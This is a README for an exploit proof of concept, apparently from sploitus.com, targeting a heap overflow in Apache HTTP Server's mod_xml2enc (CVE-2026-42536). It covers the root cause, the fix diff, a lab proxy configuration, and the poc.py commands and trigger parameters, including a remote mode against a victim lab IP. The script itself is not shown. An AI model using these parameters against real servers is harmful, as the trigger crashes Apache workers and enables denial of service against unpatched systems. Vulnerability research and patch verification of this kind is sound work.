## https://sploitus.com/exploit?id=92C0957A-F7CF-5B24-B6B3-B6B5F0C22EC9
# CVE-2026-42536: Apache HTTP Server `mod_xml2enc` Heap Overflow PoC
This repository contains a controlled proof of concept for CVE-2026-42536, a heap-based out-of-bounds write in Apache HTTP Server's `mod_xml2enc` module. Apache HTTP Server versions 2.4.0 through 2.4.67 are affected; version 2.4.68 contains the upstream fix.
The demonstrated result is memory corruption followed by an Apache worker crash. Repeated triggers can cause denial of service. This PoC does **not** demonstrate remote code execution, privilege escalation, or a reverse shell.
## Safety notice
This PoC intentionally sends content that can crash an Apache worker. Run it only in a disposable, isolated environment that you own or are explicitly authorized to test. Do not point it at production or third-party systems.
The script permits only loopback operation by default. Remote operation requires the explicit `--allow-remote` flag, but that flag is not a substitute for authorization.
## Root cause
`xml2StartParse` can instruct `mod_xml2enc` to skip bytes before the configured start element. In Apache HTTP Server 2.4.67, `fix_skipto()` advances the output-buffer pointer and reduces the amount of valid data, but it does not reduce the output capacity by the same offset:
```c
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
```
The later character-set conversion therefore receives a capacity measured from the original allocation even though `ctx->buf` now points inside that allocation. The PoC makes this mismatch observable by combining:
- A 2,048-byte prefix skipped by `xml2StartParse html`.
- A `Content-Type` declaring `charset=windows-1252`.
- Repeated byte `0x80`, which expands from one CP1252 byte to the three-byte UTF-8 encoding of the euro sign.
The expanding conversion consumes the stale capacity and can write beyond the actual space remaining after the advanced pointer.
Apache 2.4.68 fixes the accounting error by subtracting the skipped offset from `ctx->bblen`:
```diff
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
```
## Required topology
The PoC uses two HTTP components:
```text
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
```
Apache must load the following modules:
```text
filter
proxy
proxy_http
xml2enc
```
Use the following configuration only in an isolated Apache 2.4.67-or-earlier lab:
```apache
Listen 127.0.0.1:18080
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
SetOutputFilter xml2enc
xml2StartParse html
```
The default configuration expects `poc.py` to run in the same host or container network namespace as Apache. Port `18081` is the payload backend; requests must be sent to the filtered Apache route on port `18080`.
## Usage
Start the vulnerable Apache instance, then run the PoC from the same disposable host or container:
```sh
python3 poc.py
```
The defaults are equivalent to:
```sh
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
```
For a two-machine authorized lab, make the payload backend reachable from Apache and update `ProxyPass`/`ProxyPassReverse` to use the attacker's lab IP. Then bind the backend and target the lab Apache address explicitly:
```sh
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
```
Do not expose the backend port beyond the isolated test network.
## Verification
Monitor Apache while running the PoC. Depending on the build and process manager, a client request may fail, reset, or return partial data while the parent process replaces the crashed worker.
Typical evidence from the tested vulnerable build included:
```text
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
```
On a systemd-managed installation:
```sh
sudo journalctl -u apache2 -f
```
For a foreground Docker container:
```sh
docker logs -f CONTAINER_NAME
```
Worker PID churn can provide an additional signal:
```sh
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
```
Transport failure alone is not proof of the vulnerability. Confirm the crash in the Apache error log, system journal, sanitizer output, or a core dump.
## Negative control
Repeat the same request against Apache HTTP Server 2.4.68 with the same modules and virtual-host configuration. The payload backend should still receive the request, but the Apache worker should remain alive because the output capacity is reduced together with the advanced pointer.
## Recovery
If the parent process does not automatically replace the worker, restart only the disposable lab service:
```sh
sudo systemctl restart apache2
```
or restart the disposable container:
```sh
docker restart CONTAINER_NAME
```
## References
- [Apache HTTP Server 2.4 vulnerabilities](https://httpd.apache.org/security/vulnerabilities_24.html)
- [NVD entry for CVE-2026-42536](https://nvd.nist.gov/vuln/detail/CVE-2026-42536)
- [GitHub Advisory Database entry](https://github.com/advisories/GHSA-2p7m-6jhq-26cm)